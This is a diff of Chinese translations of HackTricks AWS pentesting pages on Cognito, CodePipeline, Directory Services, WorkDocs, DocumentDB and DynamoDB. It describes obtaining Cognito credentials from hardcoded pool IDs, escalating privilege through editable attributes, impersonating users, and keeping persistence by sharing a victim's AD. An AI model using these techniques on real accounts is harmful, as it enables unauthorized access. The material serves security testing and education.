for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu),AWS 利用框架,现在包括“cognito\_\_enum”和“cognito\_\_attack”模块,这些模块自动枚举账户中的所有 Cognito 资产并标记弱配置、用于访问控制的用户属性等,同时还自动创建用户(包括 MFA 支持)和基于可修改自定义属性、可用身份池凭证、可假设角色的 ID 令牌等的权限提升。 +- [Pacu](https://github.com/RhinoSecurityLabs/pacu),AWS 利用框架,现在包括“cognito\_\_enum”和“cognito\_\_attack”模块,这些模块自动枚举帐户中的所有 Cognito 资产并标记弱配置、用于访问控制的用户属性等,并且还自动创建用户(包括 MFA 支持)和基于可修改自定义属性的特权升级、可用的身份池凭证、可假设的角色在 ID 令牌中等。 -有关模块功能的描述,请参见[博客文章](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)的第 2 部分。有关安装说明,请参见主 [Pacu](https://github.com/RhinoSecurityLabs/pacu) 页面。 +有关模块功能的描述,请参见[博客文章](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)的第 2 部分。有关安装说明,请参见主[Pacu](https://github.com/RhinoSecurityLabs/pacu)页面。 #### Usage -示例 cognito\_\_attack 用法,尝试在给定身份池和用户池客户端上进行用户创建和所有权限提升向量: +示例 cognito\_\_attack 用法,尝试在给定身份池和用户池客户端上创建用户和所有特权升级向量: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients @@ -69,18 +69,18 @@ $ pip install cognito-scanner ```bash $ cognito-scanner --help ``` -For more information check https://github.com/padok-team/cognito-scanner +有关更多信息,请查看 https://github.com/padok-team/cognito-scanner ## 访问 IAM 角色 ### 未认证 -攻击者需要知道的唯一信息是 **在 Cognito 应用中获取 AWS 凭证** 的 **身份池 ID**,并且这个 **ID 必须硬编码** 在 web/mobile **应用程序** 中以供使用。一个 ID 看起来像这样:`eu-west-1:098e5341-8364-038d-16de-1865e435da3b`(它无法通过暴力破解获得)。 +攻击者需要知道的唯一信息是 **在 Cognito 应用中获取 AWS 凭证** 的 **身份池 ID**,并且此 **ID 必须硬编码** 在 web/mobile **应用程序** 中以供使用。ID 看起来像这样:`eu-west-1:098e5341-8364-038d-16de-1865e435da3b`(无法通过暴力破解)。 > [!TIP] -> 通过创建的 **IAM Cognito 未认证角色默认被称为** `Cognito_Unauth_Role` +> 默认情况下,通过创建的 **IAM Cognito 未认证角色** 被称为 `Cognito_Unauth_Role` -如果你发现一个硬编码的身份池 ID 并且它允许未认证用户,你可以通过以下方式获取 AWS 凭证: +如果您发现硬编码的身份池 ID 并且它允许未认证用户,您可以通过以下方式获取 AWS 凭证: ```python import requests @@ -118,7 +118,7 @@ aws cognito-identity get-credentials-for-identity --identity-id -- 上一部分遵循了 **默认增强身份验证流程**。此流程为生成的 IAM 角色会话设置了 **限制性** [**会话策略**](../../aws-basic-information/#session-policies)。该策略仅允许会话 [**使用此列表中的服务**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)(即使该角色可以访问其他服务)。 -然而,如果 **身份池启用了“基本(经典)流程”**,则有一种方法可以绕过此限制,用户将能够使用该流程获取会话,而该会话 **将没有限制性会话策略**。 +然而,如果 **身份池启用了“基本(经典)流程”**,则有一种方法可以绕过此限制,用户将能够使用该流程获取会话,而该会话 **将没有该限制性会话策略**。 ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -133,7 +133,7 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/ [!WARNING] > 如果您收到此 **错误**,则是因为 **基本流程未启用(默认)** -> `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` +> `发生错误(InvalidParameterException),调用 GetOpenIdToken 操作时:基本(经典)流程未启用,请使用增强流程。` 拥有一组 IAM 凭证后,您应该检查 [您拥有的访问权限](../../#whoami) 并尝试 [提升权限](../../aws-privilege-escalation/)。 @@ -147,9 +147,9 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/ [!TIP] -> 通过创建的 **IAM Cognito 认证角色** 默认称为 `Cognito_Auth_Role` +> 通过 **IAM Cognito 认证角色创建的角色** 默认称为 `Cognito_Auth_Role` -无论如何,**以下示例**假设您已经在用于访问身份池的 **Cognito 用户池** 中登录(不要忘记,其他类型的身份提供者也可以被配置)。 +无论如何,**以下示例** 假设您已经登录到用于访问身份池的 **Cognito 用户池**(不要忘记,其他类型的身份提供者也可以被配置)。
aws cognito-identity get-id \
 --identity-pool-id <identity_pool_id> \
@@ -170,6 +170,6 @@ aws cognito-identity get-credentials-for-identity \
 
> [!WARNING] -> 可以 **根据用户登录的身份提供者** 配置不同的 IAM 角色,甚至仅仅根据 **用户**(使用声明)。因此,如果您通过相同或不同的提供者访问不同的用户,可能 **值得登录并访问他们所有的 IAM 角色**。 +> 可以 **根据用户登录的身份提供者** 配置不同的 IAM 角色,甚至仅仅根据 **用户**(使用声明)。因此,如果您可以通过相同或不同的提供者访问不同的用户,可能 **值得登录并访问他们的所有 IAM 角色**。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index 03e6dae33..69bb3cdef 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -9,11 +9,11 @@ 用户池提供: - 注册和登录服务。 -- 内置的、可自定义的网页用户界面以登录用户。 -- 通过 Facebook、Google、Amazon 登录和 Apple 登录的社交登录,以及通过用户池中的 SAML 和 OIDC 身份提供者。 +- 内置的可定制网页 UI 以登录用户。 +- 通过 Facebook、Google、Amazon 登录和 Apple 登录的社交登录,以及通过 SAML 和 OIDC 身份提供者的用户池。 - 用户目录管理和用户配置文件。 - 安全功能,如多因素身份验证 (MFA)、对被泄露凭证的检查、账户接管保护,以及电话和电子邮件验证。 -- 通过 AWS Lambda 触发器自定义工作流和用户迁移。 +- 通过 AWS Lambda 触发器定制的工作流和用户迁移。 **应用程序的源代码** 通常还会包含 **用户池 ID** 和 **客户端应用程序 ID**(有时还有 **应用程序密钥**?),这些都是 **用户登录** Cognito 用户池所需的。 @@ -25,8 +25,8 @@ ### 渗透测试工具 -- [Pacu](https://github.com/RhinoSecurityLabs/pacu),现在包括 `cognito__enum` 和 `cognito__attack` 模块,这些模块自动枚举账户中的所有 Cognito 资产并标记弱配置、用于访问控制的用户属性等,同时还自动创建用户(包括 MFA 支持)和基于可修改自定义属性、可用身份池凭证、可假设角色的 ID 令牌等的权限提升。\ -有关模块功能的描述,请参见 [博客文章](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 的第 2 部分。有关安装说明,请参见主 [Pacu](https://github.com/RhinoSecurityLabs/pacu) 页面。 +- [Pacu](https://github.com/RhinoSecurityLabs/pacu) 现在包括 `cognito__enum` 和 `cognito__attack` 模块,这些模块自动枚举帐户中的所有 Cognito 资产并标记弱配置、用于访问控制的用户属性等,同时还自动创建用户(包括 MFA 支持)和基于可修改自定义属性、可用身份池凭证、可假设角色的 ID 令牌等的权限提升。\ +有关模块功能的描述,请参见 [博客文章](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 的第二部分。有关安装说明,请参见主 [Pacu](https://github.com/RhinoSecurityLabs/pacu) 页面。 ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account Pacu (new:test) > run cognito__enum @@ -36,7 +36,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) 是一个用 Python 编写的 CLI 工具,实施对 Cognito 的不同攻击,包括不必要的账户创建和账户 oracle。有关更多信息,请查看 [this link](https://github.com/padok-team/cognito-scanner)。 +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) 是一个用 Python 实现的 CLI 工具,执行对 Cognito 的不同攻击,包括不必要的账户创建和账户 oracle。有关更多信息,请查看 [this link](https://github.com/padok-team/cognito-scanner)。 ```bash # Install pip install cognito-scanner @@ -73,7 +73,7 @@ An error occurred (UsernameExistsException) when calling the SignUp operation: U > 注意在之前的命令中,**自定义属性以 "custom:" 开头**。\ > 还要知道,在注册时,您**无法为用户创建新的自定义属性**。您只能为**默认属性**(即使它们不是必需的)和**指定的自定义属性**赋值。 -或者只是测试客户端 ID 是否存在。如果客户端 ID 不存在,则会出现此错误: +或者只是测试客户端 ID 是否存在。如果 client-id 不存在,则会出现以下错误: ``` An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist. ``` @@ -85,7 +85,7 @@ An error occurred (NotAuthorizedException) when calling the SignUp operation: Si ``` ### 验证注册 -Cognito 允许通过验证**电子邮件或电话号码**来**验证新用户**。因此,在创建用户时,通常至少需要用户名和密码,以及**电子邮件和/或电话号码**。只需设置一个**您控制的**,这样您就会收到代码来**验证您的**新创建的用户**帐户**,如下所示: +Cognito 允许通过验证用户的电子邮件或电话号码来**验证新用户**。因此,在创建用户时,通常至少需要用户名和密码,以及**电子邮件和/或电话号码**。只需设置一个**您控制的**,这样您就会收到代码来**验证您的**新创建的用户**帐户**,如下所示: ```bash aws cognito-idp confirm-sign-up --client-id \ --username aasdasd2 --confirmation-code \ @@ -106,26 +106,26 @@ aws cognito-idp update-user-attributes \ #### 自定义属性权限提升 > [!CAUTION] -> 你可能会发现使用了**自定义属性**(例如`isAdmin`),因为默认情况下你可以**更改自己属性的值**,你可能能够**通过自己更改值来提升权限**! +> 您可能会发现使用 **custom attributes**(例如 `isAdmin`),因为默认情况下您可以 **更改自己属性的值**,您可能能够 **通过自己更改值来提升权限**! #### 邮箱/用户名修改权限提升 -你可以用这个来**修改用户的邮箱和电话号码**,但即使账户仍然被验证,这些属性也会被**设置为未验证状态**(你需要再次验证它们)。 +您可以使用此功能 **修改用户的电子邮件和电话号码**,但即使帐户保持验证状态,这些属性也会 **设置为未验证状态**(您需要再次验证它们)。 > [!WARNING] -> 你**无法使用邮箱或电话号码登录**,直到你验证它们,但你可以**使用用户名登录**。\ -> 请注意,即使邮箱被修改且未验证,它仍会出现在ID Token中的**`email`** **字段**,而字段**`email_verified`**将为**false**,但如果应用**没有检查**这一点,你可能会冒充其他用户。 +> 您 **无法使用电子邮件或电话号码登录**,直到您验证它们,但您可以 **使用用户名登录**。\ +> 请注意,即使电子邮件已被修改且未验证,它仍会出现在 ID Token 的 **`email`** **字段**中,并且字段 **`email_verified`** 将为 **false**,但如果应用程序 **没有检查**,您可能会冒充其他用户。 -> 此外,请注意,你可以在**`name`**字段中放入任何内容,只需修改**name属性**。如果某个应用**出于某种原因检查**该字段而不是`email`(或任何其他属性),你可能能够**冒充其他用户**。 +> 此外,请注意,您可以在 **`name`** 字段中放入任何内容,只需修改 **name attribute**。如果应用程序 **出于某种原因检查** 该字段 **而不是 `email`**(或任何其他属性),您可能能够 **冒充其他用户**。 -无论如何,如果出于某种原因你将邮箱更改为你可以访问的新邮箱,你可以**使用你在该邮箱地址收到的代码确认邮箱**: +无论如何,如果出于某种原因您将电子邮件更改为可以访问的新电子邮件,您可以 **使用您在该电子邮件地址收到的代码确认电子邮件**: ```bash aws cognito-idp verify-user-attribute \ --access-token \ --attribute-name email --code \ --region --no-sign-request ``` -使用 **`phone_number`** 而不是 **`email`** 来更改/验证 **新电话号码**。 +使用 **`phone_number`** 替代 **`email`** 来更改/验证 **新电话号码**。 > [!NOTE] > 管理员还可以启用 **使用用户首选用户名登录** 的选项。请注意,您将无法将此值更改为 **任何已被使用的用户名或首选用户名** 以冒充其他用户。 @@ -141,7 +141,7 @@ aws cognito-idp forgot-password \ > [!NOTE] > 服务器的响应总是会是积极的,比如用户名存在。您无法使用此方法枚举用户 -使用代码可以更改密码: +使用以下代码可以更改密码: ```bash aws cognito-idp confirm-forgot-password \ --client-id \ @@ -161,17 +161,17 @@ aws cognito-idp change-password \ 用户池支持**不同的认证方式**。如果您有**用户名和密码**,也支持**不同的方法**进行登录。\ 此外,当用户在池中被认证时,**会发放3种类型的令牌**:**ID令牌**、**访问令牌**和**刷新令牌**。 -- [**ID令牌**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html):它包含关于**已认证用户身份**的声明,例如`name`、`email`和`phone_number`。ID令牌也可以用于**对您的资源服务器或服务器应用程序进行用户认证**。如果您在外部应用程序中使用ID令牌,您必须**验证**ID令牌的**签名**,才能信任ID令牌中的任何声明。 +- [**ID令牌**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html):它包含关于**已认证用户身份**的声明,例如`name`、`email`和`phone_number`。ID令牌还可以用于**对您的资源服务器或服务器应用程序进行用户认证**。如果您在外部应用程序中使用ID令牌,您必须**验证**ID令牌的**签名**,才能信任ID令牌中的任何声明。 - ID令牌是**包含用户属性值**的令牌,甚至包括自定义属性。 -- [**访问令牌**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html):它包含关于已认证用户的声明、**用户组列表**和**作用域列表**。访问令牌的目的是在用户池中**授权API操作**。例如,您可以使用访问令牌**授予用户访问**添加、修改或删除用户属性的权限。 -- [**刷新令牌**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html):使用刷新令牌,您可以为用户**获取新的ID令牌和访问令牌**,直到**刷新令牌失效**。默认情况下,刷新令牌**在应用程序用户登录用户池后30天过期**。当您为用户池创建应用程序时,可以将应用程序的刷新令牌过期时间设置为**60分钟到10年之间的任何值**。 +- [**访问令牌**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html):它包含关于已认证用户的声明、**用户组的列表**和**作用域的列表**。访问令牌的目的是在用户池中**授权API操作**。例如,您可以使用访问令牌**授予用户访问**添加、修改或删除用户属性的权限。 +- [**刷新令牌**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html):使用刷新令牌,您可以为用户**获取新的ID令牌和访问令牌**,直到**刷新令牌失效**。默认情况下,刷新令牌**在您的应用程序用户登录用户池后30天过期**。当您为用户池创建应用程序时,可以将应用程序的刷新令牌过期时间设置为**60分钟到10年之间的任何值**。 ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH 这是服务器端认证流程: -- 服务器端应用程序调用**`AdminInitiateAuth` API操作**(而不是`InitiateAuth`)。此操作需要具有包括**`cognito-idp:AdminInitiateAuth`**和**`cognito-idp:AdminRespondToAuthChallenge`**权限的AWS凭证。该操作返回所需的认证参数。 -- 在服务器端应用程序获得**认证参数**后,它调用**`AdminRespondToAuthChallenge` API操作**。只有在提供AWS凭证时,`AdminRespondToAuthChallenge` API操作才会成功。 +- 服务器端应用调用**`AdminInitiateAuth` API操作**(而不是`InitiateAuth`)。此操作需要具有包括**`cognito-idp:AdminInitiateAuth`**和**`cognito-idp:AdminRespondToAuthChallenge`**权限的AWS凭证。该操作返回所需的认证参数。 +- 在服务器端应用获得**认证参数**后,它调用**`AdminRespondToAuthChallenge` API操作**。只有在提供AWS凭证时,`AdminRespondToAuthChallenge` API操作才会成功。 此**方法默认情况下未启用**。 @@ -181,7 +181,7 @@ aws cognito-idp change-password \ - 客户端ID - 用户名 - 密码 -- 客户端密钥(仅在应用程序配置为使用密钥时) +- 客户端密钥(仅在应用配置为使用密钥时) > [!NOTE] > 为了**能够使用此方法登录**,该应用程序必须允许使用`ALLOW_ADMIN_USER_PASSWORD_AUTH`进行登录。\ @@ -250,10 +250,10 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) 要**登录**,您**需要**知道: -- 客户端ID -- 用户名 -- 密码 -- 客户端密钥(仅在应用程序配置为使用密钥时) +- client id +- username +- password +- client secret(仅在应用程序配置为使用密钥时) > [!NOTE] > 为了**能够使用此方法登录**,该应用程序必须允许使用ALLOW_USER_PASSWORD_AUTH登录。 @@ -266,7 +266,7 @@ aws cognito-idp initiate-auth --client-id \ ```
-用于登录的Python代码 +登录的Python代码 ```python import boto3 import botocore @@ -310,7 +310,7 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_SRP_AUTH -这个场景与之前的类似,但**不是通过网络发送密码**来登录,而是**执行挑战认证**(因此没有密码即使加密后也不会在网络中传输)。\ +这个场景与之前的类似,但**不是通过网络发送密码**来登录,而是**执行挑战认证**(因此没有密码即使加密也不会在网络中传输)。\ 这个**方法是默认启用**的。 要**登录**,您**需要**知道: @@ -319,7 +319,7 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) - 客户端 ID - 用户名 - 密码 -- 客户端密钥(仅在应用程序配置为使用密钥时) +- 客户端密钥(仅在应用程序配置为使用密钥时)
@@ -399,7 +399,7 @@ print(refresh(client_id, token)) ### **MFA 记住设备** -如果用户从同一设备登录,MFA可能会被绕过,因此尝试从相同的浏览器和相同的元数据(IP?)登录,以尝试绕过MFA保护。 +如果用户从同一设备登录,MFA可能会被绕过,因此尝试从相同的浏览器使用相同的元数据(IP?)登录,以尝试绕过MFA保护。 ## 用户池组 IAM 角色 @@ -408,17 +408,17 @@ print(refresh(client_id, token)) 请注意,即使一个组在一个附有IAM角色的组内,要能够访问该组的IAM凭证,需要**用户池被身份池信任**(并了解该身份池的详细信息)。 -另一个要求是在用户在用户池中经过身份验证时获取**IdToken中指示的IAM角色**(`aws cognito-idp initiate-auth...`),即**身份提供者身份验证提供者**需要指示**角色必须从令牌中选择**。 +另一个要求是在用户在用户池中经过身份验证时获取**IdToken中指示的IAM角色**(`aws cognito-idp initiate-auth...`),需要**身份提供者身份验证提供者**指示**角色必须从令牌中选择**。
-用户可以访问的**角色**在**`IdToken`**中,用户可以使用`aws cognito-identity get-credentials-for-identity`中的**`--custom-role-arn`**选择他希望获取凭证的**角色**。\ +用户可以访问的**角色**在**`IdToken`**中,用户可以使用**`--custom-role-arn`**从`aws cognito-identity get-credentials-for-identity`选择他希望获取凭证的**角色**。\ 然而,如果**默认选项**是**配置的**(`使用默认角色`),并且您尝试从IdToken访问一个角色,您将会得到**错误**(这就是为什么需要之前的配置): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` > [!WARNING] -> 请注意,分配给 **用户池组** 的角色需要 **被信任用户池的身份提供者可访问**(因为 IAM 角色 **会话凭证将从中获取**)。 +> 请注意,分配给 **User Pool Group** 的角色需要 **被信任 User Pool 的身份提供者可访问**(因为 IAM 角色的 **会话凭证将从中获取**)。 ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index 2d4d40978..e5f2f7c09 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -14,7 +14,7 @@ AWS Data Pipeline 旨在促进 **数据的访问、转换和高效传输**。它 - Amazon DynamoDB - Amazon EMR -本质上,AWS Data Pipeline 简化了在指定时间间隔内不同 AWS 计算和存储服务以及本地数据源之间的数据移动和处理。 +本质上,AWS Data Pipeline 简化了在指定时间间隔内不同 AWS 计算和存储服务以及本地数据源之间的数据移动和处理。 ### Enumeration ```bash @@ -33,7 +33,7 @@ aws datapipeline get-pipeline-definition --pipeline-id ## CodePipeline -AWS CodePipeline 是一个完全托管的**持续交付服务**,帮助您**自动化发布管道**,以快速和可靠地更新应用程序和基础设施。CodePipeline 每次代码更改时,基于您定义的发布模型,自动化**构建、测试和部署阶段**的发布过程。 +AWS CodePipeline 是一个完全托管的**持续交付服务**,帮助您**自动化发布管道**,以快速和可靠地更新应用程序和基础设施。每当代码发生更改时,CodePipeline 会根据您定义的发布模型自动化发布过程的**构建、测试和部署阶段**。 ### Enumeration ```bash @@ -56,7 +56,7 @@ aws codepipeline get-pipeline-state --name 它是一个**版本控制服务**,由亚马逊托管和完全管理,可用于私密存储数据(文档、二进制文件、源代码)并在云中管理它们。 -它**消除了**用户需要了解Git和**管理自己的源控制系统**或担心扩展或缩减其基础设施的要求。Codecommit支持所有标准的**功能,这些功能可以在Git中找到**,这意味着它与用户当前的基于Git的工具无缝协作。 +它**消除了**用户需要了解Git和**管理自己的源控制系统**或担心基础设施的扩展或缩减的要求。Codecommit支持所有标准的**在Git中可以找到的功能**,这意味着它与用户当前的基于Git的工具无缝协作。 ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 16d47f043..d4f0f4c30 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -10,17 +10,17 @@ AWS 目录服务为 Microsoft Active Directory 提供了一项托管服务,使 目录服务允许创建 5 种类型的目录: -- **AWS 托管 Microsoft AD**:将在 AWS 中运行一个新的**Microsoft AD**。您将能够设置管理员密码并访问 VPC 中的 DC。 +- **AWS 托管的 Microsoft AD**:将在 AWS 中运行一个新的**Microsoft AD**。您将能够设置管理员密码并访问 VPC 中的 DC。 - **简单 AD**:将是一个**Linux-Samba** 兼容的 Active Directory 服务器。您将能够设置管理员密码并访问 VPC 中的 DC。 - **AD 连接器**:一个代理,用于**将目录请求重定向到您现有的 Microsoft Active Directory**,而不在云中缓存任何信息。它将在**VPC**中监听,您需要提供**访问现有 AD 的凭据**。 - **Amazon Cognito 用户池**:这与 Cognito 用户池相同。 -- **云目录**:这是**最简单**的一个。一个**无服务器**目录,您指明要使用的**模式**,并根据**使用情况计费**。 +- **云目录**:这是**最简单**的一个。一个**无服务器**目录,您指明要使用的**模式**并根据**使用情况计费**。 AWS 目录服务允许与您现有的**本地** Microsoft AD**同步**,**在 AWS 中运行您自己的**,或与**其他目录类型**同步。 ### 实验室 -在这里,您可以找到一个很好的教程,帮助您在 AWS 中创建自己的 Microsoft AD:[https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) +在这里,您可以找到一个很好的教程来创建您自己的 Microsoft AD 在 AWS 中:[https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) ### 枚举 ```bash @@ -55,27 +55,27 @@ aws ds describe-certificate --directory-id --certificate-id ### 使用AD用户 -可以通过角色赋予**AD用户**对**AWS管理控制台**的**访问权限**。**默认用户名是Admin**,可以从AWS控制台**更改其密码**。 +可以通过角色赋予**AD用户**对AWS管理控制台的**访问权限**。**默认用户名是Admin**,可以从AWS控制台**更改其密码**。 因此,可以**更改Admin的密码**,**创建新用户**或**更改用户的密码**并授予该用户一个角色以保持访问权限。\ -还可以**将用户添加到AD中的组**并**授予该AD组对角色的访问权限**(以使此持久性更加隐蔽)。 +还可以**将用户添加到AD中的组**并**授予该AD组对角色的访问权限**(以使这种持久性更加隐蔽)。 ### 共享AD(从受害者到攻击者) 可以将AD环境从受害者共享给攻击者。这样,攻击者将能够继续访问AD环境。\ 然而,这意味着要共享托管的AD并创建VPC对等连接。 -您可以在此找到指南:[https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) +您可以在这里找到指南:[https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) ### ~~共享AD(从攻击者到受害者)~~ -似乎不可能将AWS访问权限授予来自不同AD环境的用户到一个AWS账户。 +似乎无法将AWS访问权限授予来自不同AD环境的用户到一个AWS账户。 ## WorkDocs Amazon Web Services (AWS) WorkDocs是一个基于云的**文件存储和共享服务**。它是AWS云计算服务套件的一部分,旨在为组织提供一个安全且可扩展的解决方案,以存储、共享和协作处理文件和文档。 -AWS WorkDocs提供了一个基于Web的界面,供用户上传、访问和管理其文件和文档。它还提供版本控制、实时协作以及与其他AWS服务和第三方工具的集成等功能。 +AWS WorkDocs提供了一个基于Web的界面,供用户上传、访问和管理他们的文件和文档。它还提供版本控制、实时协作以及与其他AWS服务和第三方工具的集成功能。 ### 枚举 ```bash @@ -106,7 +106,7 @@ aws workdocs describe-resource-permissions --resource-id aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` -### Privesc +### 提权 {{#ref}} ../aws-privilege-escalation/aws-workdocs-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index 313dbc022..7f8a51009 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -4,7 +4,7 @@ ## DocumentDB -亚马逊 DocumentDB,兼容 MongoDB,被呈现为一个 **快速、可靠且完全托管的数据库服务**。旨在简化部署、操作和可扩展性,它允许 **在云中无缝迁移和操作与 MongoDB 兼容的数据库**。用户可以利用此服务执行现有的应用程序代码,并使用熟悉的驱动程序和工具,确保平滑过渡和操作,类似于使用 MongoDB。 +Amazon DocumentDB,提供与MongoDB的兼容性,被呈现为一个**快速、可靠且完全托管的数据库服务**。旨在简化部署、操作和可扩展性,它允许**在云中无缝迁移和操作与MongoDB兼容的数据库**。用户可以利用此服务执行他们现有的应用程序代码,并使用熟悉的驱动程序和工具,确保平滑过渡和操作,类似于使用MongoDB。 ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index f2187a0a1..b85146969 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -6,13 +6,13 @@ ### 基本信息 -Amazon DynamoDB 被 AWS 提供为一个 **完全托管的无服务器键值 NoSQL 数据库**,旨在支持高性能应用程序,无论其规模如何。该服务确保了强大的功能,包括固有的安全措施、不间断的备份、跨多个区域的自动复制、集成的内存缓存和方便的数据导出工具。 +Amazon DynamoDB 被 AWS 提供为一个 **完全托管的无服务器键值 NoSQL 数据库**,旨在为各种规模的高性能应用提供支持。该服务确保了强大的功能,包括固有的安全措施、不间断的备份、跨多个区域的自动复制、集成的内存缓存以及方便的数据导出工具。 -在 DynamoDB 的上下文中,**创建的是表**,而不是建立传统数据库。每个表都要求指定一个 **分区键**,作为 **表主键** 的一个组成部分。这个分区键,实质上是一个 **哈希值**,在项目的检索和数据在不同主机之间的分配中起着关键作用。这种分配对于维护数据库的可扩展性和可用性至关重要。此外,还可以选择添加 **排序键** 以进一步细化数据组织。 +在 DynamoDB 的上下文中,**创建的是表**,而不是建立传统数据库。每个表都要求指定一个 **分区键**,作为 **表主键** 的一个组成部分。这个分区键,实质上是一个 **哈希值**,在项目检索和数据在不同主机之间的分配中起着关键作用。这种分配对于维护数据库的可扩展性和可用性至关重要。此外,还可以选择添加 **排序键** 以进一步优化数据组织。 ### 加密 -默认情况下,DynamoDB 使用一个 **属于 Amazon DynamoDB 的 KMS 密钥,** 甚至不是至少属于您账户的 AWS 管理密钥。 +默认情况下,DynamoDB 使用一个 **属于 Amazon DynamoDB 的 KMS 密钥,**而不是至少属于您账户的 AWS 管理密钥。
@@ -24,7 +24,7 @@ Amazon DynamoDB 被 AWS 提供为一个 **完全托管的无服务器键值 NoSQ ### GUI -有一个用于本地 Dynamo 服务的 GUI,如 [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/)、[dynalite](https://github.com/mhart/dynalite)、[localstack](https://github.com/localstack/localstack) 等,这些可能会很有用:[https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) +有一些本地 Dynamo 服务的 GUI,如 [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/)、[dynalite](https://github.com/mhart/dynalite)、[localstack](https://github.com/localstack/localstack) 等,可能会很有用:[https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) ### 枚举 ```bash @@ -65,7 +65,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints ../aws-privilege-escalation/aws-dynamodb-privesc.md {{#endref}} -### 利用后 +### 利用后期 {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -89,13 +89,13 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection ### NoSQL 注入 -在 DynamoDB 中,可以使用不同的 **条件** 来检索数据,就像在常见的 NoSQL 注入中,如果可以 **链接更多条件以检索** 